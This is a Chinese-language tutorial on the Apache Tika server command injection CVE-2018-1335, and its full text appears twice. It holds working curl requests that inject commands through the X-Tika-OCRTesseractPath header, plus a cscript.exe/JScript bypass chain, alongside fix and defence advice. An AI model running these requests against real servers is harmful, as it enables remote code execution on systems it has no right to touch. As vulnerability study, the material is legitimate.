探究利用CVE-2018-1335:Apache Tika 命令注入
字数 1839 2025-08-29 08:32:09

Apache Tika 命令注入漏洞(CVE-2018-1335)深度分析与利用教学

一、漏洞概述

CVE-2018-1335是Apache Tika服务器组件中的一个命令注入漏洞,影响1.18之前的所有版本。该漏洞允许攻击者通过精心构造的HTTP请求头,在运行tika-server的服务器上执行任意命令。

漏洞关键信息

  • 影响版本:Apache Tika 1.18之前的所有版本
  • 修复版本:Apache Tika 1.18及更高版本
  • 漏洞类型:命令注入
  • 攻击向量:HTTP请求头
  • 受影响组件:tika-server独立服务

二、漏洞背景

Apache Tika简介

Apache Tika是一个内容分析工具包,能够检测和提取上千种不同文件类型(如PPT、XLS、PDF等)中的元数据和文本。主要组件包括:

  1. Java库
  2. 命令行工具
  3. 独立服务器(tika-server) - 带有REST API接口

漏洞发现

通过对比1.17(漏洞版本)和1.18(修复版本)的源代码差异,发现关键修改在于添加了allowable_header_chars代码块,用于过滤HTTP头中的特殊字符。

三、漏洞原理分析

漏洞入口点

漏洞存在于processHeaderConfig函数中,该函数处理HTTP请求头并动态设置对象属性。关键前缀为X-Tika-OCR的请求头会被用于配置TesseractOCRConfig对象。

命令注入路径

  1. 攻击者通过X-Tika-OCRTesseractPath头注入命令
  2. 命令被传递到TesseractOCRParser.java中的doOCR函数
  3. doOCR函数使用ProcessBuilder构建并执行命令

技术限制与绕过

原始漏洞存在以下限制:

  1. 只能控制命令的第一部分(应用路径)
  2. 无法传递多个参数或使用命令连接符(&, |, >等)
  3. Windows下引号后的内容会被忽略

绕过方法:
使用Windows Script Host(cscript.exe)作为执行载体,通过//E:engine参数指定脚本引擎,上传包含恶意代码的"图像"文件。

四、漏洞利用步骤

基本利用(PoC)

curl -T test.tiff http://localhost:9998/meta --header "X-Tika-OCRTesseractPath: \"calc.exe\""

完整利用链

  1. 准备一个包含恶意JScript/VBScript代码的文件(内容示例):
var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c calc.exe');
  1. 构造HTTP请求:
curl -T malicious.jp2 http://victim:9998/meta \
--header "X-Tika-OCRTesseractPath: \"cscript.exe\"" \
--header "X-Tika-OCRLanguage: //E:Jscript" \
--header "Content-Type: image/jp2"

关键点

  • 使用image/jp2内容类型绕过文件验证
  • X-Tika-OCRTesseractPath指定cscript.exe作为执行程序
  • X-Tika-OCRLanguage参数设置为//E:Jscript指定脚本引擎

五、漏洞修复方案

  1. 升级到Apache Tika 1.18或更高版本
  2. 官方修复措施:
    • 添加了allowable_header_chars过滤特殊字符
    • 移除了不安全的processHeaderConfig函数
    • 加强了对HTTP头内容的验证

六、防御建议

  1. 不在不受信环境中运行tika-server
  2. 如必须公开服务,应部署在网络隔离区域
  3. 实施严格的输入验证和过滤
  4. 使用最小权限原则运行服务
  5. 定期更新到最新版本

七、学习资源

  1. 官方文档:

    • Apache Tika官网:https://tika.apache.org/
    • Tika REST API:https://wiki.apache.org/tika/TikaJAXRS
  2. 漏洞相关资源:

    • 受影响版本下载:https://archive.apache.org/dist/tika/tika-server-1.17.jar
    • Rhino安全实验室PoC:https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335
  3. 相关技术:

    • Windows LOLBins:https://github.com/api0cradle/LOLBAS
    • Process Monitor工具:https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

八、总结

CVE-2018-1335展示了即使看似简单的命令注入漏洞,在实际利用中也可能面临各种技术限制。通过深入分析系统行为和Windows特性,最终找到了使用cscript.exe的绕过方法。这提醒开发者在构造系统命令时必须严格验证所有用户输入,即使是非直接输入参数。

Apache Tika 命令注入漏洞(CVE-2018-1335)深度分析与利用教学 一、漏洞概述 CVE-2018-1335是Apache Tika服务器组件中的一个命令注入漏洞,影响1.18之前的所有版本。该漏洞允许攻击者通过精心构造的HTTP请求头,在运行tika-server的服务器上执行任意命令。 漏洞关键信息 : 影响版本:Apache Tika 1.18之前的所有版本 修复版本:Apache Tika 1.18及更高版本 漏洞类型:命令注入 攻击向量:HTTP请求头 受影响组件:tika-server独立服务 二、漏洞背景 Apache Tika简介 Apache Tika是一个内容分析工具包,能够检测和提取上千种不同文件类型(如PPT、XLS、PDF等)中的元数据和文本。主要组件包括: Java库 命令行工具 独立服务器(tika-server) - 带有REST API接口 漏洞发现 通过对比1.17(漏洞版本)和1.18(修复版本)的源代码差异,发现关键修改在于添加了 allowable_header_chars 代码块,用于过滤HTTP头中的特殊字符。 三、漏洞原理分析 漏洞入口点 漏洞存在于 processHeaderConfig 函数中,该函数处理HTTP请求头并动态设置对象属性。关键前缀为 X-Tika-OCR 的请求头会被用于配置 TesseractOCRConfig 对象。 命令注入路径 攻击者通过 X-Tika-OCRTesseractPath 头注入命令 命令被传递到 TesseractOCRParser.java 中的 doOCR 函数 doOCR 函数使用 ProcessBuilder 构建并执行命令 技术限制与绕过 原始漏洞存在以下限制: 只能控制命令的第一部分(应用路径) 无法传递多个参数或使用命令连接符(&, |, >等) Windows下引号后的内容会被忽略 绕过方法: 使用Windows Script Host(cscript.exe)作为执行载体,通过 //E:engine 参数指定脚本引擎,上传包含恶意代码的"图像"文件。 四、漏洞利用步骤 基本利用(PoC) 完整利用链 准备一个包含恶意JScript/VBScript代码的文件(内容示例): 构造HTTP请求: 关键点 : 使用 image/jp2 内容类型绕过文件验证 X-Tika-OCRTesseractPath 指定cscript.exe作为执行程序 X-Tika-OCRLanguage 参数设置为 //E:Jscript 指定脚本引擎 五、漏洞修复方案 升级到Apache Tika 1.18或更高版本 官方修复措施: 添加了 allowable_header_chars 过滤特殊字符 移除了不安全的 processHeaderConfig 函数 加强了对HTTP头内容的验证 六、防御建议 不在不受信环境中运行tika-server 如必须公开服务,应部署在网络隔离区域 实施严格的输入验证和过滤 使用最小权限原则运行服务 定期更新到最新版本 七、学习资源 官方文档: Apache Tika官网:https://tika.apache.org/ Tika REST API:https://wiki.apache.org/tika/TikaJAXRS 漏洞相关资源: 受影响版本下载:https://archive.apache.org/dist/tika/tika-server-1.17.jar Rhino安全实验室PoC:https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335 相关技术: Windows LOLBins:https://github.com/api0cradle/LOLBAS Process Monitor工具:https://docs.microsoft.com/en-us/sysinternals/downloads/procmon 八、总结 CVE-2018-1335展示了即使看似简单的命令注入漏洞,在实际利用中也可能面临各种技术限制。通过深入分析系统行为和Windows特性,最终找到了使用cscript.exe的绕过方法。这提醒开发者在构造系统命令时必须严格验证所有用户输入,即使是非直接输入参数。